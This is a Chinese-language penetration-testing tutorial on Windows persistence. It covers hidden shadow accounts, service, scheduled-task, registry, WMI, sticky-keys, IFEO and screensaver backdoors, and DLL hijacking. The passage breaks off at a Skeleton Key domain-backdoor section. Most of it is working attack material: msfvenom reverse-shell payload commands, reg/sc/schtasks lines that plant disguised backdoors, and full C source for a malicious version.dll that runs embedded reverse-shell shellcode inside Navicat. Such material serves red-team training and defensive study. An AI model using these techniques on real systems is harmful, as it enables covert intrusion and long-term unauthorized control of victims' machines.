权限持久化(Persistence,权限维持)技术就是包括任何可以被测试人员用来在系统重启、更改用户凭据或其他可能造成访间中断的情况发生时保持对系统的访问的技术,如创建系统服务、利用计划任务、滥用系统启动项或注册表、映像劫持、替换或劫持合法代码等。

常见系统后门技术

创建影子账户

就是创建隐藏的用户,无论通过计算机管理还是命令行查询都无法看到,只能在注册表中查到其信息。

下面是创建影子账户的步骤:

  1. 输入下面命令创建一个Hacker$用户

    net user Hacker$ Hacker@123 /add # 创建隐藏用户,$符号代表该用户为隐藏用户

    image-20240416212700791

    不过现在还是可以看到该用户

    image-20240416213021125

    此时该用户仍为标准用户,我们还需要进行注册表的修改

  2. 在注册表编辑器中定位到HKEY_LOCAL_MACHINE\SAM\SAM,单击右键,在弹出的快捷菜单中选择“权限”命令,将 Administrator用户的权限设置为“完全控制”

    image-20240416213258642

  3. 在注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处选择 Administrator 用户,在左侧找到与右边显示的键值的类型“0x1f4”相同的目录名

    image-20240416213805850

    然后复制000001F4表项的F属性的值

    image-20240416214222391

  4. 找到隐藏用户的相应目录,然后将复制的属性值粘贴到隐藏用户的F属性处。

    以上过程其实是 Hacker$用户劫持了Administrator用户的RID,从而使 Hacker$用户获得 Administrator 用户的权限

    这里很怪,在Winserver2012上面创建了账户在注册表没有,只有两个账户,就上图的两个,但是Windows7就全都有

  5. 分别将注册表项“Hacker$”和其对应的目录导出,然后执行下面命令先删除一次用户

    net user Hacker$ /del
  6. 再将刚刚导出的两个注册表项导入注册表即可创建真正的影子用户。

系统服务后门

对于启动类型为“自动”的系统服务,测试人员可以将服务运行的二进制文件路径设置为后门程序或其他攻击载荷,当系统或服务重启时,可以重新获取对目标主机的控制权。不过,测试人员需要拥有目标主机的管理员权限。

创建系统服务

sc create Backdoor binpath= "cmd.exe /k C:\Windows\System32\reverse_tcp.exe" start="auto" obj="LocalSystem"

在目标主机上创建一个名为Backdoor 的系统服务,启动类型为“自动”,启动权限为SYSTEM。

利用现有的系统服务

通过修改现有服务的配置信息,使服务启动时运行指定的后门程序。测试人员可以通过“sc config”命令修改服务的 binpath选项,也可以尝试修改服务注册表的ImagePath键,二者都直接指定了相应服务的启动时运行的二进制文件

利用svchost.exe启动服务

svchost.exe是一个系统进程,是Windows的系统文件。

官方解释:svchost.exe是从动态链接库(DLL)中运行的服务的通用主机进程名称。该程序本身只是作为服务的宿主,许多系统服务通过注入该程序进程中启动,所以系统中会存在多个该程序的进程。

在 Windows系统中,需要由svchost.exe进程启动的服务将以 DLL 形式实现。在安装这些服务时,需要将服务的可执行文件路径指向svchost.exe。在启动这些服务时,由svchost.exe 调用相应服务的 DLL 文件,而具体调用哪个 DLL 是由该服务在注册表的信息所决定的。

以wuauserv服务为例(Windows Update)

image-20240416223420143

可以看到该服务的可执行文件路径:%systemroot%\system32\svchost.exe -k netsvcs,说明该服务依靠svchost.exe来加载DLL。

该服务的注册表下还有一个Parameters子项,其中的ServiceDll键值表明该文件由哪个DLL文件负责。

image-20240416224101357

服务启动时,svchost.exe就会加载该DLL文件。

注意,系统会根据服务可执行文件路径中的参数对服务进行分组,如C:\Windowssystem32\svchost.exe -k netsvcs 表明该服务属于netsvcs这个服务组。通常,每个 svchost进程负责运行一组服务。因此,并不是每启动一个服务就会增加一个svchost.exe进程。

所有服务分组可以在注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost中。通过svchost.exe加载启动的服务都要在该表项中注册。

image-20240416224711806

利用过程:

  1. 用Metasploit生成DLL

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.143 LPORT=4444 -f dll -o reverse_tcp.dll
  2. 将生成的DLL上传到目标主机的System32目录,并执行下面命令安装并配置恶意服务

    #创建名为 Backdoor的服务,并以svchost加载的方式启动,服务分组为 netsvc
    sc create Backdoor binPath= "C:\Windows\System32\svchost.exe -k netsvc" start= auto obj= LocalSystem
    #将Backdoor服务启动时加载的DLL为reverse_tcp.dll
    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\reverse_tcp.dll"
    #配置服务描述
    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor /v Description /t REG_SZ /d "Windows xxx Service"
    #配置服务显示名称
    reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor /v DisplayName /t REG_SZ /d "Backdoor"
    #创建服务新分组,并将Backdoor服务添加进去
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvc /t REG_MULTI_SZ /d Backdoor

配置好后,Svchost就会以SYSTEM权限加载恶意DLL,即可上线主机。

计划任务后门

通过创建计划任务,让服务器定时运行后门程序,实现权限持久化。

比如在目标主机上创建一个名为Backdoor的计划任务,并在每天八点以SYSTEM权限运行一次后门程序reverse_tcp.exe

schtasks /Create /TN Backdoor /SC daily /ST 8:00 /MO 1 /TR C:\Windows\System32\reverse_tcp.exe /RU System /F

计划任务触发后主机就会重新上线

image-20240416231100712

上图可以看到计划任务以类似文件目录的方式存储,所有计划任务都存储在最内层的目录;所以为了增加隐蔽性,可以依照这个规则来创建计划任务。

比如这样:

schtasks /Create /TN \Microsoft\Windows\AppTask\AppRun /SC daily /ST 8:00 /MO 1 /TR C:\Windows\System32\reverse_tcp.exe /RU System /F

image-20240416232004716

启动项/注册表后门

测试人员可以通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。添加的后门程序将在用户登录的上下文中启动,并且将具有与账户相关联的权限等级。

系统启动文件夹

将程序放在启动文件夹中会导致该程序在用户登录时执行。Windows有两种常见的启动文件夹

# 位于以下目录的程序将在指定用户登录时启动
C:Users\[Username]\AppData\Roaming\Microsoft\Windows\Start
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# 位于以下目录的程序将在所有用户登录时启动
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

运行键(Run Keys)

Windows 系统上有许多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载指定 DLL 文件,测试人员可以对此类注册表进行滥用,以建立持久化后门。

当用户登录时,系统会依次检查位于注册表运行键(Run Keys)中的程序,并在用户登录的上下文中启动。Windows系统默认创建以下运行键,如果修改HKEY_LOCAL_MACHINE下的运行键,需要拥有管理员级别的权限。

# 以下注册表项中的程序将在当前用户登录时启动
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce
# 以下注册表项中的程序将在所有用户登录时启动
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

执行下面命令在注册表运行键中添加一个Backdoor键,并将键值执行后门程序的绝对路径

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\System32\reverse_tcp.exe"

用户重新登录时主机就会上线

Winlogon Helper

Winlogon 是 Windows 系统的组件,用于处理与用户有关的各种行为,如登录、注销在登录时加载用户配置文件、锁定屏幕等。这些行为由系统注册表管理,注册表中的一些键值定义了在 Windows 登录期间会启动哪些进程。

# 指定用户登录时执行的用户初始化程序,默认为userinit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell
# 指定Windows身份验证期间执行的程序,默认为explorer.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

执行下面命令在Userinit键值中添加一个后门程序,该程序将在用户登录时启动

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\System32\userinit.exe,reverse_tcp.exe" /f

image-20240416234601884

注意,在滥用 Userinit 和 Shell 键时需要保留键值中的原有程序,将待启动的后门程序添加到原有程序后面,并以“,”进行分隔。并且,后门程序需要被上传至 C:\Windows\System32目录。

Port Monitors

打印后台处理服务(PrintSpooler)负责管理 Windows系统的打印作业。与该服务的交互是通过 Print Spooler API执行的,其中包含 AddMonitor函数,用于安装 Port Monitors(本地端口监视器),并连接配置、数据和监视器文件。AddMonitor函数能够将DLL注入spoolsv.exe 进程,以实现相应功能,并且通过创建注册表键,测试人员可以在目标系统上进行权限持久化。利用该技术需要拥有管理员级别的权限。

  1. 通过Metasploit生成一个64位的恶意的DLL

  2. 将生成的DLL上传到目标主机的C:\Windows\System32目录中,并执行下面命令通过编辑注册表安装一个端口监视器

    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\TestMonitor" /v "Driver" /t REG_SZ "reverse_tcp.dll"

当系统重启时,Print Spooler 服务在启动过程中会读取Monitors 注册表项的所有子键,并以 SYSTEM 权限加载 Driver 键值所指定的DLL文件,目标主机就会重新上线。

事件触发执行

利用WMI事件订阅

WMI可以用于横向移动还可以在以获得权限的主机上部署永久事件,当触发指定事件时执行后门程序。

手动利用

通常情况下,WMI事件订阅的需要分别创建事件过滤器(Event Filter)和事件消费者(Event Consumer),并把二者关联起来,以将事件发生和触发执行绑定一起。

下面用powershell部署一个事件,在每次系统启动后的5分钟内执行后门程序

# 创建一个TestFilter的事件过滤器
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = "TestFilter"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstanceISA 'Win32 PerfFormattedData_PerfoS_System' AND TargetInstance.SystemUpTime >=240 AND TargetInstance.SystemUpTime< 325"
QueryLanguage ='WQL'
}
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs
# 创建一个名为TestConsumer的事件消费者,在指定事件发生时执行后门程序
$CommandLineEventConsumerArgs= @{
Name = "TestConsumer"
CommandLineTemplate = "cmd.exe /k C:\Windows\System32\reverse_tcp.exe"
}
$EventConsumer = Set-Wmiinstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs
# 将事件过滤器和消费者绑定在一起
$FilterConsumerBindingArgs = @{
Filter = $EventFilter
Consumer = $EventConsumer
}
$FilterConsumerBinding = Set-Wmiinstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterConsumerBindingArgs

相关辅助工具

前面用过Sharp-WMIEvent进行系统命令执行,该工具同样可以用于权限持久化,在目标主机上执行下面命令,部署一个随机命名的永久事件,每当用户登录时就执行后门程序

Sharp-WMIEvent -Trigger UserLogon -Command "cmd.exe /c C:\Windows\System32\reverse_tcp.exe"

此外,Metasploit框架内置了一个通过 WMI事件订阅在目标系统上实现持久性的模块,即 exploit/windows/local/wmi_persistence,支持不同的选项,可用于特定事件触发时在系统上执行任意的攻击载荷

image-20240417125624263

利用系统辅助功能

Windows 系统包含了许多供用户通过组合键启动的辅助功能,测试人员可以修改这些程序的启动方式,以获取目标主机的命令行或运行指定的后门攻击载荷,不需登录系统即可获取目标主机权限。

下面是一些常见的辅助功能程序,都位于C:\Windows\System32下面

程序 功能 热键组合
sethc.exe 粘滞键 连续5次Shfit键
magnify.exe 放大镜 Windows+”+”
utilman.exe 实用程序 Windows+U
osk.exe 屏幕键盘 Windows+Ctrl+O
displaywitch.exe 屏幕扩展 Windows+P
atbroker.exe 辅助管理工具
narrator.exe 讲述者 Windows+Ctrl+Enter

以sethc.exe为例,我们可以将cmd.exe伪装成scthc.exe,然后在远程登陆桌面连按五次shift键即可获得一个命令行窗口,实现未授权访问。该方法需要管理员权限

手动利用

在高版本的 Windows中,C:\Windows\System32目录下的文件受到系统保护,只有TrustedInstaller权限的用户才对其中的文件拥有修改和写入权限,可以使用令牌窃取技术获得权限。

image-20240417135924293

获取 TrustedInstaller权限后,执行以下命令即可

cd C:\Windows\System32
move sethc.exe sethc.exe.bak # 将sethc.exe重命名
copy cmd.exe sethc.exe # 将cmd.exe副本伪装成sethc.exe

RDP劫持

通过粘滞键等系统辅助功能创建的后门以SYSTEM 权限运行,测试人员可以在获取的命令行中执行 RDP劫持,不需任何用户凭据即可登入目标系统桌面。

IFEO注入

IFEO(Image File Execution Options)是Windows系统的一个注册表项,路径为 HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftWindows NT\CurrentVersion\Image File Execution Options。

在 WindowsNT 系统中,IFEO 原本是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。IFEO 使开发人员能够将调试器附加到应用程序。当进程创建时,应用程序的 IFEO 中设置的调试器将附加到应用程序的名称前,从而有效地在调试器下启动新进程

Debugger

当用户启动计算机的程序后,系统会在注册表的IFEO 中查询所有的程序子键,如果存在与该程序名称相同的子健,就读取对应子键的“Debugger”键值。如果该键值未被设置,就默认不做处理,否则直接用该键值所指定的程序路径来代替原始的程序。

通过编辑“Dubugger”的值,测试人员可以通过修改注册表的方式创建粘滞键后门,而不需获取 TrustedInstaller 权限。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftWindows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32.exe"

GlobalFlag

IFEO还可以在指定程序静默退出时启动任意监控程序,需要通过设置以下3个注册表来实现。

# 启用对记事本进程的静默退出监视
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftWindows NT\CurrentVersion\Image File Execution Option\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
# 启用Windows错误报告进程WerFault.exe,它将成为reverse_tcp.exe的父进程
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftWindows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
# 将监视器进程设置为reverse_tcp.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftWindows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\reverse_tcp.exe"

当用户打开记事本(notepad.exe)时,程序正常启动。当用户关闭记事本或相关进程被杀死后时,将在 WerFault.exe 进程中创建子进程以运行后门程序reverse_tcp.exe.

image-20240417155154992

利用屏幕保护程序

屏幕保护是 Windows 系统的一项功能,可以在用户一段时间不活动后播放屏幕消息或图形动画。屏幕保护程序由具有.scr文件扩展名的可执行文件组成。系统注册表项HKEY_CURRENT_USER\Control Panel\Desktop 下存储了用来设置屏幕保护程序的键值。

键名 说明
SCRNSAVE.EXE 设置屏幕保护程序的路径,其指向以.scr为扩展名的可执行文件
ScreenSaveActive 设置是否需要启用屏幕保护程序,默认为1表示启用
ScreenSaveIsSecure 设置是否需要密码解锁,设置为0则不需要密码
ScreenSaveTimeOut 设置执行屏幕保护程序之前用户不活动的超时时间

我们可以修改屏幕保护的执行路径,当触发屏幕保护时执行后门程序

# 将触发屏幕保护时执行的程序设为自定义的恶意程序,这里的程序以.scr或.exe为扩展名皆可
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Users\Marcus\reverse_tcp.scr"
# 启用屏幕保护
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1
# 设置不需要密码解锁
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveIsSecure /t REG_SZ /d "0"
# 将用户不活动的超时设置为60秒
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut /t REG_SZ /d "60"

该方法不需要管理员权限,标准用户权限即可。

默认情况下,除 ScreenSaveActive 的值为1外,其余三个键都不存在,所以需要手动创建。并且,触发的恶意程序只能在当前用户的上下文中运行。

image-20240417164930891

DLL劫持

之前UACBypass也用过这项技术,这里通过DLL劫持来建立持久化后门,该方法需要管理员权限。

劫持应用程序

以Navicat Premium 15为例。

启动Navicat然后通过Process Monitor监控其进程,过滤出加载的DLL,可以看出,navicat.exe进程加载DLL文件的顺序。

image-20240417165957692

Navicat首先尝试在自身的安装目录中加载 version.dll,但是安装目录中 version.dll 不存在,所以会继续尝试在系统目录C:\Windows\System32中加载version.dll,并成功加载

依照这样我们就可以构造恶意DLL放入Navicat的安装目录。

通常情况下,构造的恶意 DLL 需要与原来的合法 DLL 具有相同的导出函数。可以使用 AheadLib 工具获取合法的 version.dll 的导出函数,并自动化生成劫持代码。

在“输入 DLL”中填入合法 DLL 的绝对路径,在“输出CPP”中填入生成的劫持代码的保存路径,在“转发”中勾选“直接转发函数”,“原始DLL”中的值设为“versionOrg“

image-20240417170341170

点击生成就能生成一份劫持代码,这是生成的代码:




////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include <Windows.h>
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=versionOrg.GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=versionOrg.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=versionOrg.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=versionOrg.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=versionOrg.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=versionOrg.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=versionOrg.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=versionOrg.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=versionOrg.GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=versionOrg.VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=versionOrg.VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=versionOrg.VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=versionOrg.VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=versionOrg.VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=versionOrg.VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=versionOrg.VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=versionOrg.VerQueryValueW,@17")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

该代码通过pragma预处理指令实现函数转发,以确保应用程序能正常启动。

应用程序的运行依赖于原始 DLL 文件中提供的函数,恶意 DLL 必须提供相同功能的函数才能保证程序的正常运行。因此编写 DIL劫持代码时,需要通过函数转发,将应用程序调用的函数从恶意 DIL重定向到原始的合法 DLL。

例如在上述代码中,当 Navicat需要调用合法 DLL 文件中的 GetFileVersionInfoA 函数时,系统会根据给出的 pragma 指令直接转发给 versionOrg.dll 中的 GetFileVersionInfoA 函数去执行。由于劫持的原始 DLL(version.dll)位于System32 目录中,因此需要将 pragma指令中的“versionOrg”替换成C:\Windows\System32\version”(路径中的反斜杠需要转义)。

然后我们需要编写一个DoMagic函数,用来申请虚拟内存并执行Metasploit生成的ShellCode

msf生成shellcode的指令:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.28.0 LPORT=2333 -a x86 -f c

DoMagic函数的代码如下:

//申请内存并执行ShellCode
DWORD WINAPI DoMagic(LPVOID lpParameter){
unsigned char shellcode[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50"
"\x8b\x48\x18\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x14\x80\x68\x02\x00"
"\x09\x1d\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode,sizeof shellcode);
((void(*)())exec)();
return 0;
}

DllMain函数时整个DLL文件的入口函数,可以创建线程调用劫持后需要进行的功能。在DllMain函数中添加以下代码,创建进程调用DoMagic函数。

HANDLE hThread = CreateThread(NULL, 0, DoMagic, 0, 0, 0);
if(hThread){
CloseHandle(hThread);
}

最终的DLL劫持代码如下:

// 头文件
#include <Windows.h>
// 导出函数
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=versionOrg.GetFileVersionInfoA,@1")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=versionOrg.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=versionOrg.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=versionOrg.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=versionOrg.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=versionOrg.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=versionOrg.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=versionOrg.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=versionOrg.GetFileVersionInfoW,@9")
#pragma comment(linker, "/EXPORT:VerFindFileA=versionOrg.VerFindFileA,@10")
#pragma comment(linker, "/EXPORT:VerFindFileW=versionOrg.VerFindFileW,@11")
#pragma comment(linker, "/EXPORT:VerInstallFileA=versionOrg.VerInstallFileA,@12")
#pragma comment(linker, "/EXPORT:VerInstallFileW=versionOrg.VerInstallFileW,@13")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=versionOrg.VerLanguageNameA,@14")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=versionOrg.VerLanguageNameW,@15")
#pragma comment(linker, "/EXPORT:VerQueryValueA=versionOrg.VerQueryValueA,@16")
#pragma comment(linker, "/EXPORT:VerQueryValueW=versionOrg.VerQueryValueW,@17")

//申请内存并执行ShellCode
DWORD WINAPI DoMagic(LPVOID lpParameter){
unsigned char shellcode[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50"
"\x8b\x48\x18\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x14\x80\x68\x02\x00"
"\x09\x1d\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode,sizeof shellcode);
((void(*)())exec)();
return 0;
}
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
HANDLE hThread = CreateThread(NULL, 0, DoMagic, 0, 0, 0);
if(hThread){
CloseHandle(hThread);
}
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}

然后使用Visual Studio创建DLL项目进行编译,以生成恶意的version.dll

image-20240418224137630

然后将生成的恶意dll放入Navicat安装目录即可,不过后期这些应该都要做免杀才行,本地生成立马就拦了

image-20240418224240983

劫持系统服务

MSDTC(Distributed Transaction Coordinator,分布式事务处理协调器)是 Windows系统服务,负责协调跨多个数据库、消息队列、文件系统等资源管理器的事务。

MSDTC 服务启动后,将尝试在C:\Windows\System32目录中加载oci.dll 文件,但是该文件不存在

image-20240417183948223

测试人员可以制作一个同名的恶意DLL并放入System32目录。当MSDTC服务启动时,恶意DLL将加载到msdtc.exe进程。

可以用Metasploit直接生成一个恶意DLL

msfvenom -p Windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.143 LPORT=4444 -f dll -o oci.dll

生成一个oci.dll文件然后上传到C:\Windows\System32目录下,当系统服务重启时,目标主机就会重新上线,并且权限为NETWORK SERVICE。

在某些版本中MSDTC服务的启动类型默认为”手动”,我们可以修改为自动实现权限持久化

sc config msdtc start= "auto"

常见域后门技术

当获取域控制器的权限后,为了防止对域控制器权限的丢失,测试人员需要使用些特定的持久化技术来维持已获取到的域权限。

创建Skeleton Key域后门

Skeleton Key 即“万能钥匙”。通过在域控制器上安装 Skeleton Key,所有域用户账户都可以使用一个相同的密码进行认证,同时原有密码仍然有效。该技术通过注入lsass.exe 进程实现,创建的 Skeleton Key 仅保留在内存中,如果域控重启,Skeleton Key就会失效。利用该技术需要拥有域管理员级别的权限。

常规利用

将Mimikatz上传到域控,执行下面命令创建Skeleton Key后门

